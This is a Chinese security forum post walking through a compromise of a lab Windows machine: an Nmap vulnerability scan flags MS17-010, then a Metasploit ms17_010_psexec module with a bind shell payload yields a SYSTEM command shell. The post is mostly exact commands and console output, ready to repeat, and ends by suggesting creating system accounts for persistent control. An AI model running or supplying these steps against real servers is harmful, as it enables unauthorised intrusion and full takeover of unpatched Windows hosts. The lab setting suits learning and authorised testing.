安全矩阵

 找回密码
 立即注册
搜索
查看: 2675|回复: 0

利用Metasploit+Nmap简单几步进行渗透网络服务器,直接获取...

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-11 20:20:34 | 显示全部楼层 |阅读模式
原文链接:利用Metasploit+Nmap简单几步进行渗透网络服务器,直接获取管理权限

Metasploit这个强大的渗透工具,在这里我就不做过多介绍了,还有Nmap也是一个强大端口扫描工具,在黑客界里无人不知无人不晓,本次主要讲解,这两款工具结合使用,废话不扯,直接进入正题。
第一步:利用Nmap扫描

  1. msf5 > db_nmap --script=vuln 192.168.41.143
  2. [*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 01:25 CST
  3. [*] Nmap: Nmap scan report for 192.168.41.143
  4. [*] Nmap: Host is up (0.00055s latency).
  5. [*] Nmap: All 1000 scanned ports on 192.168.41.143 are filtered
  6. [*] Nmap: MAC Address: 00:0C:29:42:D2:0A (VMware)
  7. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 36.95 seconds
  8. msf5 > db_nmap --script=vuln 192.168.41.143
  9. [*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 01:28 CST
  10. [*] Nmap: Nmap scan report for 192.168.41.143
  11. [*] Nmap: Host is up (0.00076s latency).
  12. [*] Nmap: All 1000 scanned ports on 192.168.41.143 are filtered
  13. [*] Nmap: MAC Address: 00:0C:29:42:D2:0A (VMware)
  14. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 38.98 seconds
  15. msf5 > db_nmap --script=vuln 192.168.41.142
  16. [*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 01:30 CST
  17. [*] Nmap: Nmap scan report for 192.168.41.142
  18. [*] Nmap: Host is up (0.00044s latency).
  19. [*] Nmap: Not shown: 997 closed ports
  20. [*] Nmap: PORT    STATE SERVICE
  21. [*] Nmap: 135/tcp open  msrpc
  22. [*] Nmap: 139/tcp open  netbios-ssn
  23. [*] Nmap: 445/tcp open  microsoft-ds
  24. [*] Nmap: MAC Address: 00:0C:29:5D:58:E1 (VMware)
  25. [*] Nmap: Host script results:
  26. [*] Nmap: |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
  27. [*] Nmap: |_smb-vuln-ms10-054: false
  28. [*] Nmap: |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
  29. [*] Nmap: | smb-vuln-ms17-010:
  30. [*] Nmap: |   VULNERABLE:
  31. [*] Nmap: |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
  32. [*] Nmap: |     State: VULNERABLE
  33. [*] Nmap: |     IDs:  CVE:CVE-2017-0143
  34. [*] Nmap: |     Risk factor: HIGH
  35. [*] Nmap: |       A critical remote code execution vulnerability exists in Microsoft SMBv1
  36. [*] Nmap: |        servers (ms17-010).
  37. [*] Nmap: |
  38. [*] Nmap: |     Disclosure date: 2017-03-14
  39. [*] Nmap: |     References:
  40. [*] Nmap: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
  41. [*] Nmap: |       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
  42. [*] Nmap: |_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
  43. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 21.53 seconds
复制代码



看到扫描结果,我们可以看出来,有几个可以了利用漏洞,开发445端口是存在smb的,我们随便利用一个漏洞来进行渗透攻击。
第二步:利用Metasploit查询对应的漏洞模块

首先我们输入命令:search ms17-010 查询有没有对应的漏洞模块,
  1. msf5 > search ms17-010

  2. Matching Modules
  3. ================

  4.    #  Name                                           Disclosure Date  Rank     Check  Description
  5.    -  ----                                           ---------------  ----     -----  -----------
  6.    0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
  7.    1  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
  8.    2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  9.    3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
  10.    4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

复制代码


显示结果是有对应漏洞模块的,ms17 指的是2017年出现的漏洞,有对应漏洞那就好办了,下面三个我们随便选一个出来,我这里选最后一个来进一步渗透攻击。
第三步:选择对应攻击模块

由于不能截完整图,我附代码,

  1. msf5 > use exploit/windows/smb/ms17_010_psexec
  2. msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/shell_bind_tcp
  3. payload => windows/shell_bind_tcp
  4. msf5 exploit(windows/smb/ms17_010_psexec) > show options

  5. Module options (exploit/windows/smb/ms17_010_psexec):

  6.    Name                  Current Setting                                                 Required  Description
  7.    ----                  ---------------                                                 --------  -----------
  8.    DBGTRACE              false                                                           yes       Show extra debug trace info
  9.    LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
  10.    NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
  11.    NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
  12.    RHOSTS                                                                                yes       The target address range or CIDR identifier
  13.    RPORT                 445                                                             yes       The Target port
  14.    SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
  15.    SERVICE_DISPLAY_NAME                                                                  no        The service display name
  16.    SERVICE_NAME                                                                          no        The service name
  17.    SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  18.    SMBDomain             .                                                               no        The Windows domain to use for authentication
  19.    SMBPass                                                                               no        The password for the specified username
  20.    SMBUser                                                                               no        The username to authenticate as


  21. Payload options (windows/shell_bind_tcp):

  22.    Name      Current Setting  Required  Description
  23.    ----      ---------------  --------  -----------
  24.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  25.    LPORT     4444             yes       The listen port
  26.    RHOST                      no        The target address


  27. Exploit target:

  28.    Id  Name
  29.    --  ----
  30.    0   Automaticmsf5 > use exploit/windows/smb/ms17_010_psexec
  31. msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/shell_bind_tcp
  32. payload => windows/shell_bind_tcp
  33. msf5 exploit(windows/smb/ms17_010_psexec) > show options

  34. Module options (exploit/windows/smb/ms17_010_psexec):

  35.    Name                  Current Setting                                                 Required  Description
  36.    ----                  ---------------                                                 --------  -----------
  37.    DBGTRACE              false                                                           yes       Show extra debug trace info
  38.    LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
  39.    NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
  40.    NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
  41.    RHOSTS                                                                                yes       The target address range or CIDR identifier
  42.    RPORT                 445                                                             yes       The Target port
  43.    SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
  44.    SERVICE_DISPLAY_NAME                                                                  no        The service display name
  45.    SERVICE_NAME                                                                          no        The service name
  46.    SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  47.    SMBDomain             .                                                               no        The Windows domain to use for authentication
  48.    SMBPass                                                                               no        The password for the specified username
  49.    SMBUser                                                                               no        The username to authenticate as


  50. Payload options (windows/shell_bind_tcp):

  51.    Name      Current Setting  Required  Description
  52.    ----      ---------------  --------  -----------
  53.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  54.    LPORT     4444             yes       The listen port
  55.    RHOST                      no        The target address


  56. Exploit target:

  57.    Id  Name
  58.    --  ----
  59.    0   Automatic
复制代码


不清楚仔细看图,首先我们要命令:

show options
查看需要做哪些配置,当然攻击目标服务器ip设置上去,配置好之后万事俱备,
  1. msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.41.142
  2. RHOSTS => 192.168.41.142
  3. msf5 exploit(windows/smb/ms17_010_psexec) >
复制代码

到这里已经全部配置好,接下来有点激动,迫不及待发出进攻号令发动进攻,进攻号令:exploit
  1. msf5 exploit(windows/smb/ms17_010_psexec) > exploit

  2. [*] 192.168.41.142:445 - Target OS: Windows 5.1
  3. [*] 192.168.41.142:445 - Filling barrel with fish... done
  4. [*] 192.168.41.142:445 - <---------------- | Entering Danger Zone | ---------------->
  5. [*] 192.168.41.142:445 -   [*] Preparing dynamite...
  6. [*] 192.168.41.142:445 -     [*] Trying stick 1 (x86)...Boom!
  7. [*] 192.168.41.142:445 -   [+] Successfully Leaked Transaction!
  8. [*] 192.168.41.142:445 -   [+] Successfully caught Fish-in-a-barrel
  9. [*] 192.168.41.142:445 - <---------------- | Leaving Danger Zone | ---------------->
  10. [*] 192.168.41.142:445 - Reading from CONNECTION struct at: 0x821e58b0
  11. [*] 192.168.41.142:445 - Built a write-what-where primitive...
  12. [+] 192.168.41.142:445 - Overwrite complete... SYSTEM session obtained!
  13. [*] 192.168.41.142:445 - Selecting native target
  14. [*] 192.168.41.142:445 - Uploading payload... uIppviFQ.exe
  15. [*] 192.168.41.142:445 - Created \uIppviFQ.exe...
  16. [+] 192.168.41.142:445 - Service started successfully...
  17. [*] 192.168.41.142:445 - Deleting \uIppviFQ.exe...
  18. [*] Started bind TCP handler against 192.168.41.142:4444
  19. [*] Command shell session 1 opened (192.168.41.128:33767 -> 192.168.41.142:4444) at 2019-08-24 01:41:00 +0800

复制代码

看到现在已经对445端口进军了,

在后面我们可以看出来,成功入侵并且反弹一个shell,

现在成功拿下这台服务器系统权限,看网络连接情况,已经成功链接,拿到cmd权限可以这这台服务器实施控制,比如我们创建系统账号提权,对这台服务器做持久控制,好了今天就到这里,最近因为太忙,所以更新内容有点慢,希望大家谅解。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:31 , Processed in 0.026839 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表